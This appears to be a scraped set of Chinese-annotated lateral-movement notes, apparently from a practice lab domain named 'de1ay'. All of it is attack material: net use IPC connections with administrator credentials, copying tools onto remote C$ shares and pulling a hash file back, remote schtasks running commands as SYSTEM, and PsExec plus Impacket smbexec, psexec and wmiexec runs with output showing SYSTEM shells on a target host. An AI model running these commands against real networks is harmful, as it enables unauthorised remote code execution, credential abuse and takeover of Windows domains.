1
2
3
4
5
6

net use \\192.168.10.2 /u:domainname\administrator password 建立ipc连接
net use \\192.168.10.2 /de /y 删除ipc连接
net view \\192.168.10.2 查看共享目录
net view \\192.168.10.2\c$\users 列出指定目录文件
copy nbtscan.exe \\192.168.10.2\C$\windows\temp\ 复制文件
copy \\192.168.10.2\C$\windows\temp\hash.txt 下载文件

1
2
3

schtasks /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 命令 /sc ONSTART /s 域机器ip /RU system
schtasks /run /tn task1 /s 192.168.10.2 /U 域/域用户 /P 域用户密码
schtasks /F /delete /tn task1 /s 域机器ip /U 域\域用户 /p 域用户密码

1
2

net use \\IP /u:域名称\域账号 密码
psexec.exe \\192.168.10.2 -s cmd.exe -acceptcula 反弹cmd

1

.\PsExec.exe \\192.168.10.201 -u de1ay\Administrator -p 1qaz@WSX -s cmd.exe -acceptcula

1
2
3
4
5

PS C:\Users\AresX> smbexec.py de1ay/administrator:2wsx#[email protected]
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>

1
2
3
4
5
6
7
8
9
10
11
12
13
14

PS C:\Users\AresX> psexec.py de1ay/administrator:2wsx#[email protected]
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.10.201.....
[*] Found writable share ADMIN$
[*] Uploading file XUUaBGPx.exe
[*] Opening SVCManager on 192.168.10.201.....
[*] Creating service eQxj on 192.168.10.201.....
[*] Starting service eQxj.....
[!] Press help for extra shell commands
Microsoft Windows [░µ▒╛ 6.1.7601]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

PS C:\Users\AresX> psexec.py de1ay/administrator:2wsx#[email protected] whoami
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.10.201.....
[*] Found writable share ADMIN$
[*] Uploading file ktRkscJe.exe
[*] Opening SVCManager on 192.168.10.201.....
[*] Creating service YvrT on 192.168.10.201.....
[*] Starting service YvrT.....
[!] Press help for extra shell commands
nt authority\system
[*] Process whoami finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 192.168.10.201.....
[*] Stopping service YvrT.....
[*] Removing service YvrT.....
[*] Removing file ktRkscJe.exe.....

1

wmiexec.py <域>/administrator:<密码>@192.168.10.201 <命令/也可留空返回伪交互shell>

1
2
3
4
5

PS C:\Users\AresX> wmiexec.py de1ay/administrator:2wsx#[email protected] whoami
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] SMBv2.1 dialect used
de1ay\administrator